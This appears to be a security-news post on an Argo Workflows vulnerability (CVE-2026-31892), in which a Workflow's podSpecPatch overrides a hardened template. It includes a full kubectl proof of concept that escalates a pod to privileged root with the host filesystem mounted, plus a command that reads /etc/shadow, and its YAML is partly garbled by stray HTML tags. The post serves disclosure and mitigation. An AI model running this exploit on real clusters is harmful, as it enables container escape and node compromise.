Listen to this Post
The vulnerability stems from three combined issues in Argo Workflows’ handling of `podSpecPatch` when `templateReferencing: Strict` is enabled. First, the spec merging logic follows a priority order where the Workflow spec overrides the WorkflowTemplate spec, and since `podSpecPatch` is a plain string field, any value provided in the submitted Workflow completely replaces the one from the template . Second, the `ApplyPodSpecPatch()` function performs only syntactic JSON validation against the Kubernetes PodSpec schema—it does not validate for dangerous security settings like privileged mode, host filesystem mounts, or running as root. Third, the `templateReferencing: Strict` mode only verifies that a `workflowTemplateRef` exists; it does not restrict or validate any other fields present in the Workflow spec, including podSpecPatch. A user with Workflow submission privileges can reference an admin-approved hardened WorkflowTemplate while including a malicious `podSpecPatch` that overrides all security contexts. This patch can enable privileged mode, mount the host filesystem, share host namespaces, add all Linux capabilities, and run containers as root. The controller applies this patch directly to the pod at creation time without any security validation, completely bypassing the template’s restrictions. The feature was introduced in v2.9.0, and all versions up to v4.0.1 and v3.7.10 are affected . Patched versions are 4.0.2 and 3.7.11.
Platform: Argo Workflows
Version: 2.9.0-4.0.1,3.7.10
Vulnerability: Security Bypass
Severity: HIGH (8.9)
date: 2026-03-11
Prediction: Patched (N/A)
What Undercode Say:
Analytics
- CVE ID: CVE-2026-31892
- CVSS Score: 8.9 (HIGH)
- Attack Vector: Network
- Privileges Required: Low
- User Interaction: None
- CWE: CWE-863 (Incorrect Authorization)
- Affected Versions: >=2.9.0, <3.7.11 and >=4.0.0, <4.0.2
- Patched Versions: 3.7.11, 4.0.2
- Feature Introduced: v2.9.0 (PR 3149)
- Fix Available: Yes
Bash Commands & Code
Setup kind cluster and install vulnerable Argo Workflows kind create cluster --name argo-poc kubectl create namespace argo kubectl apply -n argo --server-side \ -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s Enable templateReferencing: Strict mode kubectl patch configmap workflow-controller-configmap -n argo --type merge \ -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}' kubectl rollout restart deployment workflow-controller -n argo kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s Create secure WorkflowTemplate cat <<'EOF' | kubectl apply -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: secure-template spec: entrypoint: secure-task securityContext: runAsNonRoot: true runAsUser: 1000 templates:</li> <li>name: secure-task container: image: alpine:latest command: ["/bin/sh", "-c"] args: ["id && cat /etc/shadow || echo 'cannot read'"] securityContext: runAsNonRoot: true runAsUser: 1000 allowPrivilegeEscalation: false capabilities: {drop: [bash]} EOF Submit legitimate workflow (baseline) cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: legit-use- spec: workflowTemplateRef: name: secure-template EOF Submit bypass workflow with malicious podSpecPatch cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: bypass-security- spec: workflowTemplateRef: name: secure-template podSpecPatch: | hostPID: true hostNetwork: true containers:</li> <li>name: main securityContext: privileged: true runAsUser: 0 runAsNonRoot: false capabilities: {add: ["ALL"]} volumeMounts:</li> <li>name: host-root mountPath: /host volumes:</li> <li>name: host-root hostPath: {path: /, type: Directory} EOF Check logs kubectl logs -n argo -l workflows.argoproj.io/workflow=$(kubectl get wf -n argo -o name | grep bypass | tail -1 | cut -d/ -f2) -c mainHow Exploit:
The attacker submits a Workflow referencing an admin-approved WorkflowTemplate but includes a `podSpecPatch` field. The patch uses JSON merge syntax to override the container’s
securityContext, add `hostPath` volumes, enable `hostPID` andhostNetwork, and set `privileged: true` . The controller merges the Workflow spec over the template spec, applying the patch directly to the pod spec without security validation. The resulting pod runs with root privileges, host filesystem access, and all capabilities, bypassing all template restrictions.
Protection from this CVE:
- Upgrade: Update to Argo Workflows v3.7.11 or v4.0.2
- Admission Controllers: Deploy OPA/Gatekeeper or Kyverno policies to block pods with
privileged: true,hostPID,hostNetwork,hostIPC, or `hostPath` volumes, regardless of the Workflow spec - RBAC: Restrict Workflow submission permissions to trusted users only
- Audit: Monitor for Workflows containing both `workflowTemplateRef` and `podSpecPatch` fields
Impact
Successful exploitation grants the attacker full root access to the underlying Kubernetes node. The attacker can read/write host filesystem via mounted /host, access node network namespace, view processes on the host, add kernel capabilities, and escape container isolation. This compromises the entire node and potentially adjacent containers and workloads .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

